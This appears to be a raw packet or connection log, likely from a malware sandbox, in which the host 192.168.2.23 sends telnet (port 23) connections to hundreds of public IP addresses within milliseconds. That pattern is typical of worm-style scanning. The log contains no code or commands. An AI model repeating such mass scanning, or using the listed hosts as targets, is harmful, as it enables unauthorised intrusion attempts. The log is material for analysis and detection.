Dec 3, 2024 21:02:04.955082893 CET	54406	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:04.955410957 CET	54456	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:04.955777884 CET	23	60460	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:04.955832958 CET	60460	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:04.956088066 CET	60510	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:04.966252089 CET	23	51426	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:04.966308117 CET	51426	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:04.966590881 CET	51616	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:04.966933012 CET	19873	23	192.168.2.23	138.198.144.249
Dec 3, 2024 21:02:04.966933012 CET	19873	23	192.168.2.23	66.81.32.19
Dec 3, 2024 21:02:04.966934919 CET	19873	23	192.168.2.23	218.241.163.141
Dec 3, 2024 21:02:04.966938972 CET	19873	23	192.168.2.23	80.241.224.72
Dec 3, 2024 21:02:04.966953993 CET	19873	23	192.168.2.23	193.178.166.168
Dec 3, 2024 21:02:04.966953993 CET	19873	23	192.168.2.23	109.130.156.187
Dec 3, 2024 21:02:04.966960907 CET	19873	23	192.168.2.23	92.119.171.233
Dec 3, 2024 21:02:04.966964960 CET	19873	23	192.168.2.23	177.150.247.51
Dec 3, 2024 21:02:04.966973066 CET	19873	23	192.168.2.23	124.192.155.245
Dec 3, 2024 21:02:04.966974974 CET	19873	23	192.168.2.23	143.234.60.20
Dec 3, 2024 21:02:04.966981888 CET	19873	23	192.168.2.23	183.95.141.172
Dec 3, 2024 21:02:04.966995001 CET	19873	23	192.168.2.23	200.97.246.47
Dec 3, 2024 21:02:04.966996908 CET	19873	23	192.168.2.23	147.240.139.85
Dec 3, 2024 21:02:04.967000961 CET	19873	23	192.168.2.23	47.228.142.207
Dec 3, 2024 21:02:04.967035055 CET	19873	23	192.168.2.23	169.202.151.130
Dec 3, 2024 21:02:04.967035055 CET	19873	23	192.168.2.23	134.21.186.204
Dec 3, 2024 21:02:04.967039108 CET	19873	23	192.168.2.23	132.147.70.240
Dec 3, 2024 21:02:04.967040062 CET	19873	23	192.168.2.23	50.41.154.70
Dec 3, 2024 21:02:04.967040062 CET	19873	23	192.168.2.23	125.111.116.48
Dec 3, 2024 21:02:04.967050076 CET	19873	23	192.168.2.23	80.5.109.151
Dec 3, 2024 21:02:04.967051983 CET	19873	23	192.168.2.23	115.46.88.39
Dec 3, 2024 21:02:04.967051983 CET	19873	23	192.168.2.23	71.173.120.171
Dec 3, 2024 21:02:04.967051983 CET	19873	23	192.168.2.23	171.67.221.127
Dec 3, 2024 21:02:04.967053890 CET	19873	23	192.168.2.23	195.86.25.189
Dec 3, 2024 21:02:04.967053890 CET	19873	23	192.168.2.23	31.15.1.217
Dec 3, 2024 21:02:04.967057943 CET	19873	23	192.168.2.23	135.184.117.199
Dec 3, 2024 21:02:04.967057943 CET	19873	23	192.168.2.23	47.186.19.190
Dec 3, 2024 21:02:04.967057943 CET	19873	23	192.168.2.23	9.235.247.38
Dec 3, 2024 21:02:04.967057943 CET	19873	23	192.168.2.23	143.107.238.111
Dec 3, 2024 21:02:04.967057943 CET	19873	23	192.168.2.23	35.94.133.128
Dec 3, 2024 21:02:04.967057943 CET	19873	23	192.168.2.23	65.25.160.250
Dec 3, 2024 21:02:04.967061043 CET	19873	23	192.168.2.23	159.149.199.156
Dec 3, 2024 21:02:04.967062950 CET	19873	23	192.168.2.23	43.184.251.137
Dec 3, 2024 21:02:04.967061043 CET	19873	23	192.168.2.23	77.55.204.87
Dec 3, 2024 21:02:04.967062950 CET	19873	23	192.168.2.23	119.176.1.43
Dec 3, 2024 21:02:04.967061043 CET	19873	23	192.168.2.23	1.164.181.137
Dec 3, 2024 21:02:04.967061043 CET	19873	23	192.168.2.23	157.118.176.176
Dec 3, 2024 21:02:04.967061043 CET	19873	23	192.168.2.23	68.248.44.225
Dec 3, 2024 21:02:04.967076063 CET	19873	23	192.168.2.23	213.225.34.236
Dec 3, 2024 21:02:04.967093945 CET	19873	23	192.168.2.23	158.195.199.206
Dec 3, 2024 21:02:04.967094898 CET	19873	23	192.168.2.23	32.65.197.229
Dec 3, 2024 21:02:04.967096090 CET	19873	23	192.168.2.23	72.173.126.104
Dec 3, 2024 21:02:04.967098951 CET	19873	23	192.168.2.23	109.13.46.45
Dec 3, 2024 21:02:04.967098951 CET	19873	23	192.168.2.23	98.212.120.219
Dec 3, 2024 21:02:04.967117071 CET	19873	23	192.168.2.23	219.177.32.215
Dec 3, 2024 21:02:04.967119932 CET	19873	23	192.168.2.23	220.196.56.73
Dec 3, 2024 21:02:04.967123032 CET	19873	23	192.168.2.23	159.204.221.26
Dec 3, 2024 21:02:04.967135906 CET	19873	23	192.168.2.23	49.134.111.247
Dec 3, 2024 21:02:04.967139006 CET	19873	23	192.168.2.23	76.162.216.201
Dec 3, 2024 21:02:04.967139006 CET	19873	23	192.168.2.23	176.71.15.142
Dec 3, 2024 21:02:04.967153072 CET	19873	23	192.168.2.23	151.105.83.145
Dec 3, 2024 21:02:04.967160940 CET	19873	23	192.168.2.23	212.176.0.140
Dec 3, 2024 21:02:04.967170000 CET	19873	23	192.168.2.23	213.82.35.176
Dec 3, 2024 21:02:04.967170000 CET	19873	23	192.168.2.23	164.49.234.79
Dec 3, 2024 21:02:04.967180967 CET	19873	23	192.168.2.23	139.183.82.78
Dec 3, 2024 21:02:04.967181921 CET	19873	23	192.168.2.23	119.43.175.235
Dec 3, 2024 21:02:04.967187881 CET	19873	23	192.168.2.23	177.227.202.58
Dec 3, 2024 21:02:04.967196941 CET	19873	23	192.168.2.23	121.224.166.224
Dec 3, 2024 21:02:04.967196941 CET	19873	23	192.168.2.23	107.70.250.75
Dec 3, 2024 21:02:04.967216015 CET	19873	23	192.168.2.23	80.186.139.224
Dec 3, 2024 21:02:04.967216015 CET	19873	23	192.168.2.23	132.129.173.22
Dec 3, 2024 21:02:04.967220068 CET	19873	23	192.168.2.23	129.178.97.48
Dec 3, 2024 21:02:04.967228889 CET	19873	23	192.168.2.23	213.127.253.139
Dec 3, 2024 21:02:04.967237949 CET	19873	23	192.168.2.23	93.224.251.233
Dec 3, 2024 21:02:04.967242002 CET	19873	23	192.168.2.23	101.231.205.95
Dec 3, 2024 21:02:04.967252016 CET	19873	23	192.168.2.23	49.60.102.199
Dec 3, 2024 21:02:04.967255116 CET	19873	23	192.168.2.23	2.177.235.168
Dec 3, 2024 21:02:04.967256069 CET	19873	23	192.168.2.23	41.52.15.39
Dec 3, 2024 21:02:04.967272997 CET	19873	23	192.168.2.23	76.233.172.35
Dec 3, 2024 21:02:04.967272997 CET	19873	23	192.168.2.23	122.198.119.14
Dec 3, 2024 21:02:04.967276096 CET	19873	23	192.168.2.23	78.24.148.77
Dec 3, 2024 21:02:04.967287064 CET	19873	23	192.168.2.23	200.64.123.105
Dec 3, 2024 21:02:04.967292070 CET	19873	23	192.168.2.23	81.212.177.99
Dec 3, 2024 21:02:04.967293024 CET	19873	23	192.168.2.23	220.11.207.133
Dec 3, 2024 21:02:04.967288971 CET	19873	23	192.168.2.23	129.223.29.113
Dec 3, 2024 21:02:04.967294931 CET	19873	23	192.168.2.23	80.23.237.69
Dec 3, 2024 21:02:04.967300892 CET	19873	23	192.168.2.23	184.1.254.154
Dec 3, 2024 21:02:04.967309952 CET	19873	23	192.168.2.23	95.121.239.101
Dec 3, 2024 21:02:04.967319965 CET	19873	23	192.168.2.23	51.144.94.82
Dec 3, 2024 21:02:04.967328072 CET	19873	23	192.168.2.23	50.165.103.143
Dec 3, 2024 21:02:04.967334032 CET	19873	23	192.168.2.23	179.176.233.148
Dec 3, 2024 21:02:04.967334032 CET	19873	23	192.168.2.23	83.219.196.192
Dec 3, 2024 21:02:04.967335939 CET	19873	23	192.168.2.23	110.44.166.87
Dec 3, 2024 21:02:04.967341900 CET	19873	23	192.168.2.23	40.152.153.109
Dec 3, 2024 21:02:04.967341900 CET	19873	23	192.168.2.23	170.198.72.129
Dec 3, 2024 21:02:04.967345953 CET	19873	23	192.168.2.23	187.81.60.63
Dec 3, 2024 21:02:04.967351913 CET	19873	23	192.168.2.23	85.13.152.122
Dec 3, 2024 21:02:04.967351913 CET	19873	23	192.168.2.23	175.7.203.94
Dec 3, 2024 21:02:04.967363119 CET	19873	23	192.168.2.23	168.67.131.51
Dec 3, 2024 21:02:04.967370033 CET	19873	23	192.168.2.23	1.83.233.35
Dec 3, 2024 21:02:04.967382908 CET	19873	23	192.168.2.23	196.75.84.136
Dec 3, 2024 21:02:04.967386961 CET	19873	23	192.168.2.23	177.134.110.48
Dec 3, 2024 21:02:04.967389107 CET	19873	23	192.168.2.23	64.184.109.70
Dec 3, 2024 21:02:04.967391968 CET	19873	23	192.168.2.23	192.210.146.83
Dec 3, 2024 21:02:04.967394114 CET	19873	23	192.168.2.23	179.193.188.192
Dec 3, 2024 21:02:04.967405081 CET	19873	23	192.168.2.23	85.145.163.90
Dec 3, 2024 21:02:04.967406034 CET	19873	23	192.168.2.23	187.32.193.40
Dec 3, 2024 21:02:04.967408895 CET	19873	23	192.168.2.23	68.210.176.241
Dec 3, 2024 21:02:04.967416048 CET	19873	23	192.168.2.23	41.124.41.15
Dec 3, 2024 21:02:04.967425108 CET	19873	23	192.168.2.23	192.89.109.57
Dec 3, 2024 21:02:04.967427015 CET	19873	23	192.168.2.23	38.144.76.49
Dec 3, 2024 21:02:04.967427015 CET	19873	23	192.168.2.23	180.230.98.160
Dec 3, 2024 21:02:04.967427969 CET	19873	23	192.168.2.23	95.174.34.224
Dec 3, 2024 21:02:04.967444897 CET	19873	23	192.168.2.23	155.139.79.92
Dec 3, 2024 21:02:04.967444897 CET	19873	23	192.168.2.23	145.209.161.123
Dec 3, 2024 21:02:04.967446089 CET	19873	23	192.168.2.23	87.89.4.24
Dec 3, 2024 21:02:04.967446089 CET	19873	23	192.168.2.23	88.146.167.129
Dec 3, 2024 21:02:04.967461109 CET	19873	23	192.168.2.23	59.51.205.146
Dec 3, 2024 21:02:04.967462063 CET	19873	23	192.168.2.23	216.196.249.36
Dec 3, 2024 21:02:04.967467070 CET	19873	23	192.168.2.23	140.163.106.207
Dec 3, 2024 21:02:04.967467070 CET	19873	23	192.168.2.23	63.3.86.175
Dec 3, 2024 21:02:04.967473984 CET	19873	23	192.168.2.23	163.37.25.9
Dec 3, 2024 21:02:04.967479944 CET	19873	23	192.168.2.23	52.120.233.73
Dec 3, 2024 21:02:04.967479944 CET	19873	23	192.168.2.23	157.189.115.149
Dec 3, 2024 21:02:04.967492104 CET	19873	23	192.168.2.23	191.117.80.123
Dec 3, 2024 21:02:04.967499971 CET	19873	23	192.168.2.23	132.120.31.197
Dec 3, 2024 21:02:04.967504025 CET	19873	23	192.168.2.23	186.103.106.160
Dec 3, 2024 21:02:04.967504978 CET	19873	23	192.168.2.23	113.3.224.96
Dec 3, 2024 21:02:04.967509985 CET	19873	23	192.168.2.23	101.60.0.115
Dec 3, 2024 21:02:04.967510939 CET	19873	23	192.168.2.23	45.75.222.27
Dec 3, 2024 21:02:04.967524052 CET	19873	23	192.168.2.23	187.22.121.29
Dec 3, 2024 21:02:04.967523098 CET	19873	23	192.168.2.23	115.74.36.103
Dec 3, 2024 21:02:04.967529058 CET	19873	23	192.168.2.23	201.100.132.245
Dec 3, 2024 21:02:04.967540979 CET	19873	23	192.168.2.23	41.54.96.249
Dec 3, 2024 21:02:04.967547894 CET	19873	23	192.168.2.23	17.51.87.228
Dec 3, 2024 21:02:04.967547894 CET	19873	23	192.168.2.23	219.127.36.52
Dec 3, 2024 21:02:04.967550993 CET	19873	23	192.168.2.23	96.39.128.228
Dec 3, 2024 21:02:04.967566013 CET	19873	23	192.168.2.23	45.87.232.69
Dec 3, 2024 21:02:04.967575073 CET	19873	23	192.168.2.23	169.48.241.216
Dec 3, 2024 21:02:04.967576981 CET	19873	23	192.168.2.23	45.18.71.70
Dec 3, 2024 21:02:04.967586994 CET	19873	23	192.168.2.23	194.144.215.87
Dec 3, 2024 21:02:04.967596054 CET	19873	23	192.168.2.23	91.8.4.227
Dec 3, 2024 21:02:04.967598915 CET	19873	23	192.168.2.23	112.43.56.154
Dec 3, 2024 21:02:04.967609882 CET	19873	23	192.168.2.23	32.204.84.161
Dec 3, 2024 21:02:04.967611074 CET	19873	23	192.168.2.23	213.206.40.156
Dec 3, 2024 21:02:04.967617035 CET	19873	23	192.168.2.23	210.59.176.238
Dec 3, 2024 21:02:04.967628002 CET	19873	23	192.168.2.23	100.141.169.126
Dec 3, 2024 21:02:04.967629910 CET	19873	23	192.168.2.23	86.124.39.133
Dec 3, 2024 21:02:04.967641115 CET	19873	23	192.168.2.23	105.215.98.207
Dec 3, 2024 21:02:04.967645884 CET	19873	23	192.168.2.23	159.60.195.174
Dec 3, 2024 21:02:04.967647076 CET	19873	23	192.168.2.23	128.180.64.121
Dec 3, 2024 21:02:04.967648983 CET	19873	23	192.168.2.23	84.234.1.31
Dec 3, 2024 21:02:04.967668056 CET	19873	23	192.168.2.23	53.178.106.162
Dec 3, 2024 21:02:04.967669964 CET	19873	23	192.168.2.23	219.13.30.146
Dec 3, 2024 21:02:04.967677116 CET	19873	23	192.168.2.23	176.252.47.154
Dec 3, 2024 21:02:04.967686892 CET	19873	23	192.168.2.23	178.125.102.36
Dec 3, 2024 21:02:04.967691898 CET	19873	23	192.168.2.23	140.62.227.154
Dec 3, 2024 21:02:04.967693090 CET	19873	23	192.168.2.23	150.14.137.84
Dec 3, 2024 21:02:04.967700005 CET	19873	23	192.168.2.23	176.133.164.199
Dec 3, 2024 21:02:04.967700958 CET	19873	23	192.168.2.23	133.116.223.172
Dec 3, 2024 21:02:04.967714071 CET	19873	23	192.168.2.23	54.17.234.186
Dec 3, 2024 21:02:04.967725992 CET	19873	23	192.168.2.23	193.140.223.44
Dec 3, 2024 21:02:04.967725992 CET	19873	23	192.168.2.23	181.191.55.26
Dec 3, 2024 21:02:04.967726946 CET	19873	23	192.168.2.23	70.126.62.155
Dec 3, 2024 21:02:04.967735052 CET	19873	23	192.168.2.23	72.216.200.190
Dec 3, 2024 21:02:04.967746019 CET	19873	23	192.168.2.23	50.95.66.242
Dec 3, 2024 21:02:04.967752934 CET	19873	23	192.168.2.23	43.6.54.107
Dec 3, 2024 21:02:04.967760086 CET	19873	23	192.168.2.23	179.67.109.21
Dec 3, 2024 21:02:04.967760086 CET	19873	23	192.168.2.23	96.223.34.6
Dec 3, 2024 21:02:04.967772961 CET	19873	23	192.168.2.23	140.205.15.204
Dec 3, 2024 21:02:04.967772961 CET	19873	23	192.168.2.23	47.15.124.139
Dec 3, 2024 21:02:04.967796087 CET	19873	23	192.168.2.23	98.202.33.209
Dec 3, 2024 21:02:04.967797041 CET	19873	23	192.168.2.23	92.23.99.237
Dec 3, 2024 21:02:04.967803001 CET	19873	23	192.168.2.23	163.105.180.108
Dec 3, 2024 21:02:04.967804909 CET	19873	23	192.168.2.23	217.206.175.40
Dec 3, 2024 21:02:04.967803955 CET	19873	23	192.168.2.23	62.167.10.247
Dec 3, 2024 21:02:04.967803001 CET	19873	23	192.168.2.23	115.211.251.109
Dec 3, 2024 21:02:04.967803001 CET	19873	23	192.168.2.23	12.45.116.149
Dec 3, 2024 21:02:04.967811108 CET	19873	23	192.168.2.23	17.101.99.8
Dec 3, 2024 21:02:04.967827082 CET	19873	23	192.168.2.23	42.201.7.99
Dec 3, 2024 21:02:04.967829943 CET	19873	23	192.168.2.23	167.202.44.80
Dec 3, 2024 21:02:04.967842102 CET	19873	23	192.168.2.23	207.41.64.120
Dec 3, 2024 21:02:04.967847109 CET	19873	23	192.168.2.23	117.39.186.174
Dec 3, 2024 21:02:04.967848063 CET	19873	23	192.168.2.23	48.160.242.109
Dec 3, 2024 21:02:04.967848063 CET	19873	23	192.168.2.23	201.142.98.28
Dec 3, 2024 21:02:04.967852116 CET	19873	23	192.168.2.23	49.232.210.227
Dec 3, 2024 21:02:04.967855930 CET	19873	23	192.168.2.23	53.77.43.99
Dec 3, 2024 21:02:04.967874050 CET	19873	23	192.168.2.23	17.172.240.87
Dec 3, 2024 21:02:04.967875004 CET	19873	23	192.168.2.23	1.198.249.185
Dec 3, 2024 21:02:04.967875004 CET	19873	23	192.168.2.23	17.97.11.28
Dec 3, 2024 21:02:04.967879057 CET	19873	23	192.168.2.23	99.238.196.248
Dec 3, 2024 21:02:04.967890024 CET	19873	23	192.168.2.23	129.193.206.103
Dec 3, 2024 21:02:04.967890024 CET	19873	23	192.168.2.23	188.121.62.201
Dec 3, 2024 21:02:04.967890978 CET	19873	23	192.168.2.23	69.212.161.132
Dec 3, 2024 21:02:04.967901945 CET	19873	23	192.168.2.23	202.43.121.13
Dec 3, 2024 21:02:04.967910051 CET	19873	23	192.168.2.23	196.69.112.88
Dec 3, 2024 21:02:04.967920065 CET	19873	23	192.168.2.23	139.120.205.236
Dec 3, 2024 21:02:04.967920065 CET	19873	23	192.168.2.23	68.8.174.41
Dec 3, 2024 21:02:04.967935085 CET	19873	23	192.168.2.23	116.31.108.201
Dec 3, 2024 21:02:04.967935085 CET	19873	23	192.168.2.23	50.3.102.62
Dec 3, 2024 21:02:04.967942953 CET	19873	23	192.168.2.23	53.29.29.200
Dec 3, 2024 21:02:04.967957973 CET	19873	23	192.168.2.23	60.61.62.213
Dec 3, 2024 21:02:04.967957973 CET	19873	23	192.168.2.23	157.119.127.141
Dec 3, 2024 21:02:04.967957973 CET	19873	23	192.168.2.23	85.27.49.12
Dec 3, 2024 21:02:04.967962027 CET	19873	23	192.168.2.23	20.140.198.142
Dec 3, 2024 21:02:04.967976093 CET	19873	23	192.168.2.23	41.152.20.148
Dec 3, 2024 21:02:04.967979908 CET	19873	23	192.168.2.23	46.17.26.228
Dec 3, 2024 21:02:04.967979908 CET	19873	23	192.168.2.23	104.194.155.84
Dec 3, 2024 21:02:04.967982054 CET	19873	23	192.168.2.23	76.105.197.126
Dec 3, 2024 21:02:04.967982054 CET	19873	23	192.168.2.23	95.120.134.252
Dec 3, 2024 21:02:04.967982054 CET	19873	23	192.168.2.23	144.69.12.179
Dec 3, 2024 21:02:04.967988014 CET	19873	23	192.168.2.23	212.238.204.50
Dec 3, 2024 21:02:04.967989922 CET	19873	23	192.168.2.23	164.189.101.154
Dec 3, 2024 21:02:04.968002081 CET	19873	23	192.168.2.23	181.181.91.253
Dec 3, 2024 21:02:04.968004942 CET	19873	23	192.168.2.23	221.117.69.220
Dec 3, 2024 21:02:04.968004942 CET	19873	23	192.168.2.23	207.168.150.100
Dec 3, 2024 21:02:04.968013048 CET	19873	23	192.168.2.23	123.158.130.54
Dec 3, 2024 21:02:04.968024969 CET	19873	23	192.168.2.23	57.28.178.109
Dec 3, 2024 21:02:04.968025923 CET	19873	23	192.168.2.23	179.38.249.97
Dec 3, 2024 21:02:04.968028069 CET	19873	23	192.168.2.23	90.194.217.117
Dec 3, 2024 21:02:04.968046904 CET	19873	23	192.168.2.23	50.135.91.71
Dec 3, 2024 21:02:04.968050957 CET	19873	23	192.168.2.23	36.44.192.106
Dec 3, 2024 21:02:04.968051910 CET	19873	23	192.168.2.23	138.22.7.213
Dec 3, 2024 21:02:04.968070030 CET	19873	23	192.168.2.23	139.93.17.103
Dec 3, 2024 21:02:04.968070984 CET	19873	23	192.168.2.23	194.221.110.98
Dec 3, 2024 21:02:04.968070984 CET	19873	23	192.168.2.23	25.238.92.129
Dec 3, 2024 21:02:04.968074083 CET	19873	23	192.168.2.23	46.163.210.198
Dec 3, 2024 21:02:04.968074083 CET	19873	23	192.168.2.23	116.10.172.89
Dec 3, 2024 21:02:04.968091011 CET	19873	23	192.168.2.23	180.90.69.84
Dec 3, 2024 21:02:04.968091011 CET	19873	23	192.168.2.23	209.70.160.160
Dec 3, 2024 21:02:04.968091965 CET	19873	23	192.168.2.23	101.63.13.112
Dec 3, 2024 21:02:04.968091965 CET	19873	23	192.168.2.23	152.125.99.45
Dec 3, 2024 21:02:04.968106031 CET	19873	23	192.168.2.23	89.168.78.131
Dec 3, 2024 21:02:04.968111038 CET	19873	23	192.168.2.23	124.150.33.142
Dec 3, 2024 21:02:04.968111992 CET	19873	23	192.168.2.23	186.238.63.121
Dec 3, 2024 21:02:04.968112946 CET	19873	23	192.168.2.23	85.162.33.124
Dec 3, 2024 21:02:04.968112946 CET	19873	23	192.168.2.23	124.181.244.124
Dec 3, 2024 21:02:04.968117952 CET	19873	23	192.168.2.23	4.26.39.186
Dec 3, 2024 21:02:04.968120098 CET	19873	23	192.168.2.23	109.236.80.213
Dec 3, 2024 21:02:04.968122959 CET	19873	23	192.168.2.23	128.77.103.48
Dec 3, 2024 21:02:04.968136072 CET	19873	23	192.168.2.23	200.64.200.33
Dec 3, 2024 21:02:04.968137980 CET	19873	23	192.168.2.23	223.0.77.85
Dec 3, 2024 21:02:04.968146086 CET	19873	23	192.168.2.23	145.243.191.10
Dec 3, 2024 21:02:04.968152046 CET	19873	23	192.168.2.23	123.241.215.10
Dec 3, 2024 21:02:04.968156099 CET	19873	23	192.168.2.23	78.79.209.58
Dec 3, 2024 21:02:04.968166113 CET	19873	23	192.168.2.23	110.106.50.250
Dec 3, 2024 21:02:04.968166113 CET	19873	23	192.168.2.23	178.45.27.54
Dec 3, 2024 21:02:04.968169928 CET	19873	23	192.168.2.23	139.112.156.200
Dec 3, 2024 21:02:04.968169928 CET	19873	23	192.168.2.23	216.116.132.82
Dec 3, 2024 21:02:04.968170881 CET	19873	23	192.168.2.23	18.58.81.224
Dec 3, 2024 21:02:04.968189001 CET	19873	23	192.168.2.23	87.11.148.130
Dec 3, 2024 21:02:04.968200922 CET	19873	23	192.168.2.23	44.172.45.36
Dec 3, 2024 21:02:04.968200922 CET	19873	23	192.168.2.23	96.249.199.211
Dec 3, 2024 21:02:04.968204021 CET	19873	23	192.168.2.23	201.96.131.146
Dec 3, 2024 21:02:04.968208075 CET	19873	23	192.168.2.23	199.62.1.174
Dec 3, 2024 21:02:04.968215942 CET	19873	23	192.168.2.23	60.247.41.164
Dec 3, 2024 21:02:04.968215942 CET	19873	23	192.168.2.23	68.79.1.193
Dec 3, 2024 21:02:04.968221903 CET	19873	23	192.168.2.23	188.130.9.241
Dec 3, 2024 21:02:04.968239069 CET	19873	23	192.168.2.23	39.46.100.160
Dec 3, 2024 21:02:04.968240023 CET	19873	23	192.168.2.23	126.205.52.126
Dec 3, 2024 21:02:04.968240023 CET	19873	23	192.168.2.23	179.249.37.210
Dec 3, 2024 21:02:04.968241930 CET	19873	23	192.168.2.23	185.240.250.176
Dec 3, 2024 21:02:04.968254089 CET	19873	23	192.168.2.23	223.1.132.145
Dec 3, 2024 21:02:04.968259096 CET	19873	23	192.168.2.23	139.13.3.80
Dec 3, 2024 21:02:04.968262911 CET	19873	23	192.168.2.23	85.182.162.40
Dec 3, 2024 21:02:04.968274117 CET	19873	23	192.168.2.23	150.141.159.12
Dec 3, 2024 21:02:04.968282938 CET	19873	23	192.168.2.23	48.217.201.98
Dec 3, 2024 21:02:04.968286991 CET	19873	23	192.168.2.23	59.6.13.19
Dec 3, 2024 21:02:04.968288898 CET	19873	23	192.168.2.23	66.26.191.157
Dec 3, 2024 21:02:04.968290091 CET	19873	23	192.168.2.23	42.41.203.245
Dec 3, 2024 21:02:04.968296051 CET	19873	23	192.168.2.23	208.218.227.211
Dec 3, 2024 21:02:04.968308926 CET	19873	23	192.168.2.23	31.148.2.172
Dec 3, 2024 21:02:04.968312979 CET	19873	23	192.168.2.23	38.42.64.223
Dec 3, 2024 21:02:04.968316078 CET	19873	23	192.168.2.23	161.244.157.249
Dec 3, 2024 21:02:04.968321085 CET	19873	23	192.168.2.23	211.209.109.143
Dec 3, 2024 21:02:04.968323946 CET	19873	23	192.168.2.23	133.146.90.63
Dec 3, 2024 21:02:04.968332052 CET	19873	23	192.168.2.23	64.88.185.95
Dec 3, 2024 21:02:04.968346119 CET	19873	23	192.168.2.23	136.174.92.19
Dec 3, 2024 21:02:04.968346119 CET	19873	23	192.168.2.23	27.39.182.89
Dec 3, 2024 21:02:04.968347073 CET	19873	23	192.168.2.23	12.182.10.153
Dec 3, 2024 21:02:04.968358994 CET	19873	23	192.168.2.23	144.218.168.189
Dec 3, 2024 21:02:04.968369007 CET	19873	23	192.168.2.23	148.14.234.189
Dec 3, 2024 21:02:04.968377113 CET	19873	23	192.168.2.23	140.21.244.194
Dec 3, 2024 21:02:04.968377113 CET	19873	23	192.168.2.23	200.124.147.25
Dec 3, 2024 21:02:04.968386889 CET	19873	23	192.168.2.23	35.225.217.219
Dec 3, 2024 21:02:04.968389988 CET	19873	23	192.168.2.23	75.231.171.175
Dec 3, 2024 21:02:04.968396902 CET	19873	23	192.168.2.23	111.13.244.28
Dec 3, 2024 21:02:04.968405962 CET	19873	23	192.168.2.23	187.110.238.17
Dec 3, 2024 21:02:04.968409061 CET	19873	23	192.168.2.23	157.53.89.36
Dec 3, 2024 21:02:04.968415022 CET	19873	23	192.168.2.23	179.11.81.41
Dec 3, 2024 21:02:04.968419075 CET	19873	23	192.168.2.23	19.145.219.103
Dec 3, 2024 21:02:04.968434095 CET	19873	23	192.168.2.23	17.45.200.204
Dec 3, 2024 21:02:04.968437910 CET	19873	23	192.168.2.23	203.55.7.97
Dec 3, 2024 21:02:04.968439102 CET	19873	23	192.168.2.23	223.96.231.152
Dec 3, 2024 21:02:04.968439102 CET	19873	23	192.168.2.23	195.11.238.125
Dec 3, 2024 21:02:04.968441963 CET	19873	23	192.168.2.23	212.49.134.211
Dec 3, 2024 21:02:04.968441963 CET	19873	23	192.168.2.23	44.32.107.89
Dec 3, 2024 21:02:04.968446016 CET	19873	23	192.168.2.23	77.158.188.231
Dec 3, 2024 21:02:04.968458891 CET	19873	23	192.168.2.23	161.0.166.209
Dec 3, 2024 21:02:04.968462944 CET	19873	23	192.168.2.23	218.102.190.54
Dec 3, 2024 21:02:04.968462944 CET	19873	23	192.168.2.23	71.227.248.128
Dec 3, 2024 21:02:04.968475103 CET	19873	23	192.168.2.23	23.50.175.154
Dec 3, 2024 21:02:04.968477011 CET	19873	23	192.168.2.23	67.83.83.21
Dec 3, 2024 21:02:04.968487024 CET	19873	23	192.168.2.23	77.152.81.110
Dec 3, 2024 21:02:04.968488932 CET	19873	23	192.168.2.23	208.79.58.41
Dec 3, 2024 21:02:04.968497038 CET	19873	23	192.168.2.23	193.39.224.147
Dec 3, 2024 21:02:04.968501091 CET	19873	23	192.168.2.23	4.38.92.149
Dec 3, 2024 21:02:04.968507051 CET	19873	23	192.168.2.23	35.83.190.143
Dec 3, 2024 21:02:04.968508005 CET	19873	23	192.168.2.23	108.40.228.179
Dec 3, 2024 21:02:04.968514919 CET	19873	23	192.168.2.23	167.13.164.115
Dec 3, 2024 21:02:04.968514919 CET	19873	23	192.168.2.23	136.131.187.43
Dec 3, 2024 21:02:04.968528032 CET	19873	23	192.168.2.23	92.194.234.184
Dec 3, 2024 21:02:04.968528032 CET	19873	23	192.168.2.23	154.166.198.60
Dec 3, 2024 21:02:04.968533993 CET	19873	23	192.168.2.23	74.126.34.133
Dec 3, 2024 21:02:04.968543053 CET	19873	23	192.168.2.23	98.220.202.224
Dec 3, 2024 21:02:04.968552113 CET	19873	23	192.168.2.23	95.57.154.129
Dec 3, 2024 21:02:04.968559980 CET	19873	23	192.168.2.23	159.150.227.100
Dec 3, 2024 21:02:04.968564987 CET	19873	23	192.168.2.23	76.167.104.209
Dec 3, 2024 21:02:04.968579054 CET	19873	23	192.168.2.23	108.169.134.5
Dec 3, 2024 21:02:04.968581915 CET	19873	23	192.168.2.23	70.253.178.140
Dec 3, 2024 21:02:04.968581915 CET	19873	23	192.168.2.23	80.191.243.115
Dec 3, 2024 21:02:04.968581915 CET	19873	23	192.168.2.23	187.162.113.58
Dec 3, 2024 21:02:04.968586922 CET	19873	23	192.168.2.23	221.245.239.7
Dec 3, 2024 21:02:04.968601942 CET	19873	23	192.168.2.23	93.91.168.233
Dec 3, 2024 21:02:04.968605042 CET	19873	23	192.168.2.23	209.37.7.116
Dec 3, 2024 21:02:04.968606949 CET	19873	23	192.168.2.23	159.242.201.91
Dec 3, 2024 21:02:04.968610048 CET	19873	23	192.168.2.23	136.210.158.62
Dec 3, 2024 21:02:04.968611956 CET	19873	23	192.168.2.23	178.118.149.9
Dec 3, 2024 21:02:04.968611956 CET	19873	23	192.168.2.23	103.40.218.108
Dec 3, 2024 21:02:04.968612909 CET	19873	23	192.168.2.23	159.145.20.87
Dec 3, 2024 21:02:04.968619108 CET	19873	23	192.168.2.23	132.228.197.176
Dec 3, 2024 21:02:04.968630075 CET	19873	23	192.168.2.23	88.127.18.28
Dec 3, 2024 21:02:04.968635082 CET	19873	23	192.168.2.23	13.252.4.168
Dec 3, 2024 21:02:04.968645096 CET	19873	23	192.168.2.23	87.1.94.95
Dec 3, 2024 21:02:04.968647957 CET	19873	23	192.168.2.23	143.37.83.49
Dec 3, 2024 21:02:04.968647957 CET	19873	23	192.168.2.23	158.44.141.234
Dec 3, 2024 21:02:04.968662977 CET	19873	23	192.168.2.23	4.221.158.172
Dec 3, 2024 21:02:04.968668938 CET	19873	23	192.168.2.23	82.224.129.95
Dec 3, 2024 21:02:04.968668938 CET	19873	23	192.168.2.23	110.47.63.141
Dec 3, 2024 21:02:04.968682051 CET	19873	23	192.168.2.23	73.243.28.95
Dec 3, 2024 21:02:04.968683004 CET	19873	23	192.168.2.23	68.147.103.138
Dec 3, 2024 21:02:04.968683004 CET	19873	23	192.168.2.23	67.242.237.69
